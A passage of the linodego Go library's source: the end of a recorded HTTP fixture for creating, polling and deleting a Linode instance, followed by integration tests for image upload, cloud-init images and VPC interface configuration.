"Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"linodego-waitforfree","root_pass":"9H4z05/H]\u003cn\u003e\u003e3~$O/75)4cBVo6z[7UxMXewQJ!J\u003cbxv1krs+9Q32c$\u003cwJNNE8|2","image":"linode/ubuntu22.04"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 52557993, "label": "linodego-waitforfree", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["45.79.125.110"], "ipv6": "1234::5678/128", "image": "linode/ubuntu22.04", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "4351606c086016d7568003f3b436685b02d00a73", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "741" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","entity.id":52557993,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events method: GET response: body: '{"data": [{"id": 603818786, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "youjungk01", "entity": {"label": "linodego-waitforfree", "id": 52557993, "type": "linode", "url": "/v4/linode/instances/52557993"}, "status": "scheduled", "secondary_entity": {"id": "linode/ubuntu22.04", "type": "image", "label": "Ubuntu 22.04 LTS", "url": "/v4/images/linode/ubuntu22.04"}, "message": ""}, {"id": 603818787, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_boot", "username": "youjungk01", "entity": {"label": "linodego-waitforfree", "id": 52557993, "type": "linode", "url": "/v4/linode/instances/52557993"}, "status": "scheduled", "secondary_entity": {"id": 55574819, "type": "linode_config", "label": "My Ubuntu 22.04 LTS Disk Profile", "url": "/v4/linode/instances/52557993/configs/55574819"}, "message": ""}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","entity.id":52557993,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events method: GET response: body: '{"data": [{"id": 603818786, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 48, "time_remaining": null, "rate": null, "duration": 30.49527, "action": "linode_create", "username": "youjungk01", "entity": {"label": "linodego-waitforfree", "id": 52557993, "type": "linode", "url": "/v4/linode/instances/52557993"}, "status": "started", "secondary_entity": {"id": "linode/ubuntu22.04", "type": "image", "label": "Ubuntu 22.04 LTS", "url": "/v4/images/linode/ubuntu22.04"}, "message": ""}, {"id": 603818787, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_boot", "username": "youjungk01", "entity": {"label": "linodego-waitforfree", "id": 52557993, "type": "linode", "url": "/v4/linode/instances/52557993"}, "status": "scheduled", "secondary_entity": {"id": 55574819, "type": "linode_config", "label": "My Ubuntu 22.04 LTS Disk Profile", "url": "/v4/linode/instances/52557993/configs/55574819"}, "message": ""}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","entity.id":52557993,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events method: GET response: body: '{"data": [{"id": 603818786, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 58, "time_remaining": null, "rate": null, "duration": 45.508306, "action": "linode_create", "username": "youjungk01", "entity": {"label": "linodego-waitforfree", "id": 52557993, "type": "linode", "url": "/v4/linode/instances/52557993"}, "status": "started", "secondary_entity": {"id": "linode/ubuntu22.04", "type": "image", "label": "Ubuntu 22.04 LTS", "url": "/v4/images/linode/ubuntu22.04"}, "message": ""}, {"id": 603818787, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_boot", "username": "youjungk01", "entity": {"label": "linodego-waitforfree", "id": 52557993, "type": "linode", "url": "/v4/linode/instances/52557993"}, "status": "scheduled", "secondary_entity": {"id": 55574819, "type": "linode_config", "label": "My Ubuntu 22.04 LTS Disk Profile", "url": "/v4/linode/instances/52557993/configs/55574819"}, "message": ""}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","entity.id":52557993,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events method: GET response: body: '{"data": [{"id": 603818786, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 61, "time_remaining": null, "rate": null, "duration": 60.566466, "action": "linode_create", "username": "youjungk01", "entity": {"label": "linodego-waitforfree", "id": 52557993, "type": "linode", "url": "/v4/linode/instances/52557993"}, "status": "started", "secondary_entity": {"id": "linode/ubuntu22.04", "type": "image", "label": "Ubuntu 22.04 LTS", "url": "/v4/images/linode/ubuntu22.04"}, "message": ""}, {"id": 603818787, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_boot", "username": "youjungk01", "entity": {"label": "linodego-waitforfree", "id": 52557993, "type": "linode", "url": "/v4/linode/instances/52557993"}, "status": "scheduled", "secondary_entity": {"id": 55574819, "type": "linode_config", "label": "My Ubuntu 22.04 LTS Disk Profile", "url": "/v4/linode/instances/52557993/configs/55574819"}, "message": ""}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","entity.id":52557993,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events method: GET response: body: '{"data": [{"id": 603818786, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 67.0, "action": "linode_create", "username": "youjungk01", "entity": {"label": "linodego-waitforfree", "id": 52557993, "type": "linode", "url": "/v4/linode/instances/52557993"}, "status": "finished", "secondary_entity": {"id": "linode/ubuntu22.04", "type": "image", "label": "Ubuntu 22.04 LTS", "url": "/v4/images/linode/ubuntu22.04"}, "message": ""}, {"id": 603818787, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 45, "time_remaining": null, "rate": null, "duration": 75.479427, "action": "linode_boot", "username": "youjungk01", "entity": {"label": "linodego-waitforfree", "id": 52557993, "type": "linode", "url": "/v4/linode/instances/52557993"}, "status": "started", "secondary_entity": {"id": 55574819, "type": "linode_config", "label": "My Ubuntu 22.04 LTS Disk Profile", "url": "/v4/linode/instances/52557993/configs/55574819"}, "message": ""}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","entity.id":52557993,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events method: GET response: body: '{"data": [{"id": 603818786, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 67.0, "action": "linode_create", "username": "youjungk01", "entity": {"label": "linodego-waitforfree", "id": 52557993, "type": "linode", "url": "/v4/linode/instances/52557993"}, "status": "finished", "secondary_entity": {"id": "linode/ubuntu22.04", "type": "image", "label": "Ubuntu 22.04 LTS", "url": "/v4/images/linode/ubuntu22.04"}, "message": ""}, {"id": 603818787, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 83.0, "action": "linode_boot", "username": "youjungk01", "entity": {"label": "linodego-waitforfree", "id": 52557993, "type": "linode", "url": "/v4/linode/instances/52557993"}, "status": "finished", "secondary_entity": {"id": 55574819, "type": "linode_config", "label": "My Ubuntu 22.04 LTS Disk Profile", "url": "/v4/linode/instances/52557993/configs/55574819"}, "message": ""}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557993 method: GET response: body: '{"id": 52557993, "label": "linodego-waitforfree", "group": "", "status": "running", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["45.79.125.110"], "ipv6": "1234::5678/128", "image": "linode/ubuntu22.04", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "4351606c086016d7568003f3b436685b02d00a73", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "736" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557993 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/images_test.go000066400000000000000000000113561455402072200255430ustar00rootroot00000000000000package integration import ( "bytes" "context" "testing" "github.com/dnaeon/go-vcr/recorder" . "github.com/linode/linodego" ) // testImageBytes is a minimal Gzipped image. // This is necessary because the API will reject invalid images. var testImageBytes = []byte{ 0x1f, 0x8b, 0x08, 0x08, 0xbd, 0x5c, 0x91, 0x60, 0x00, 0x03, 0x74, 0x65, 0x73, 0x74, 0x2e, 0x69, 0x6d, 0x67, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, } func TestImage_GetMissing(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestImage_GetMissing") defer teardown() i, err := client.GetImage(context.Background(), "does-not-exist") if err == nil { t.Errorf("should have received an error requesting a missing image, got %v", i) } e, ok := err.(*Error) if !ok { t.Errorf("should have received an Error requesting a missing image, got %v", e) } if e.Code != 404 { t.Errorf("should have received a 404 Code requesting a missing image, got %v", e.Code) } } func TestImage_GetFound(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestImage_GetFound") defer teardown() i, err := client.GetImage(context.Background(), "linode/ubuntu16.04lts") if err != nil { t.Errorf("Error getting image, expected struct, got %v and error %v", i, err) } if i.ID != "linode/ubuntu16.04lts" { t.Errorf("Expected a specific image, but got a different one %v", i) } } func TestImages_List_smoke(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestImages_List") defer teardown() i, err := client.ListImages(context.Background(), nil) if err != nil { t.Errorf("Error listing images, expected struct, got error %v", err) } if len(i) == 0 { t.Errorf("Expected a list of images, but got none %v", i) } } func TestImage_Upload(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestImage_Upload") defer teardown() image, uploadURL, err := client.CreateImageUpload(context.Background(), ImageCreateUploadOptions{ Region: "us-ord", Label: "linodego-image-test", Description: "An image that does stuff.", }) if err != nil { t.Errorf("Failed to create image upload: %v", err) } defer func() { if err := client.DeleteImage(context.Background(), image.ID); err != nil { t.Errorf("Failed to delete image %s: %v", image.ID, err) } }() if uploadURL == "" { t.Errorf("Expected upload URL, got none") } if _, err := client.WaitForImageStatus(context.Background(), image.ID, ImageStatusPendingUpload, 60); err != nil { t.Errorf("Failed to wait for image pending upload status: %v", err) } // Because this request currently bypasses the recorder, we should only run it when the recorder is recording if testingMode != recorder.ModeReplaying { if err := client.UploadImageToURL(context.Background(), uploadURL, bytes.NewReader(testImageBytes)); err != nil { t.Errorf("failed to upload image: %v", err) } } if _, err := client.WaitForImageStatus(context.Background(), image.ID, ImageStatusAvailable, 240); err != nil { t.Errorf("Failed to wait for image available upload status: %v", err) } } func TestImage_CreateUpload(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestImage_CreateUpload") defer teardown() image, uploadURL, err := client.CreateImageUpload(context.Background(), ImageCreateUploadOptions{ Region: getRegionsWithCaps(t, client, []string{"Metadata"})[0], Label: "linodego-image-create-upload", Description: "An image that does stuff.", CloudInit: true, }) if err != nil { t.Errorf("Failed to create image upload: %v", err) } defer func() { if err := client.DeleteImage(context.Background(), image.ID); err != nil { t.Errorf("Failed to delete image %s: %v", image.ID, err) } }() assertSliceContains(t, image.Capabilities, "cloud-init") if uploadURL == "" { t.Errorf("Expected upload URL, got none") } } func TestImage_CloudInit(t *testing.T) { client, instance, teardown, err := setupInstance( t, "fixtures/TestImage_CloudInit", func(client *Client, options *InstanceCreateOptions) { options.Region = getRegionsWithCaps(t, client, []string{"Metadata"})[0] }) if err != nil { t.Fatal(err) } t.Cleanup(teardown) instanceDisks, err := client.ListInstanceDisks( context.Background(), instance.ID, nil, ) if err != nil { t.Fatal(err) } image, err := client.CreateImage(context.Background(), ImageCreateOptions{ DiskID: instanceDisks[0].ID, Label: "linodego-test-cloud-init", CloudInit: true, }) if err != nil { t.Errorf("Failed to create image upload: %v", err) } t.Cleanup(func() { if err := client.DeleteImage(context.Background(), image.ID); err != nil { t.Errorf("Failed to delete image %s: %v", image.ID, err) } }) assertSliceContains(t, image.Capabilities, "cloud-init") } golang-github-linode-linodego-1.28.0/test/integration/instance_config_test.go000066400000000000000000000236711455402072200274320ustar00rootroot00000000000000package integration import ( "context" "reflect" "testing" . "github.com/linode/linodego" ) func setupVPCWithSubnetWithInstance( t *testing.T, fixturesYaml string, modifiers ...instanceModifier, ) ( *Client, *VPC, *VPCSubnet, *Instance, *InstanceConfig, func(), error, ) { t.Helper() client, fixtureTeardown := createTestClient(t, fixturesYaml) instance, instanceConfig, instanceTeardown, err := createInstanceWithoutDisks( t, client, modifiers..., ) if err != nil { if instanceTeardown != nil { instanceTeardown() } t.Fatal(err) } vpc, vpcSubnet, vpcWithSubnetTeardown, err := createVPCWithSubnet( t, client, func(client *Client, options *VPCCreateOptions) { options.Region = instance.Region }, ) if err != nil { t.Error(err) } teardownAll := func() { instanceTeardown() vpcWithSubnetTeardown() fixtureTeardown() } return client, vpc, vpcSubnet, instance, instanceConfig, teardownAll, err } func setupInstanceWith3Interfaces(t *testing.T, fixturesYaml string) ( *Client, *VPC, *VPCSubnet, *Instance, *InstanceConfig, func(), ) { t.Helper() client, vpc, vpcSubnet, instance, config, teardown, err := setupVPCWithSubnetWithInstance( t, fixturesYaml, func(client *Client, opts *InstanceCreateOptions) { opts.Region = getRegionsWithCaps(t, client, []string{"VPCs"})[0] }, ) if err != nil { if teardown != nil { teardown() } t.Fatal(err) } updateConfigOpts := config.GetUpdateOptions() NAT1To1Any := "any" updateConfigOpts.Interfaces = []InstanceConfigInterfaceCreateOptions{ { Purpose: InterfacePurposePublic, }, { Purpose: InterfacePurposeVLAN, Label: "testvlan", }, { Purpose: InterfacePurposeVPC, 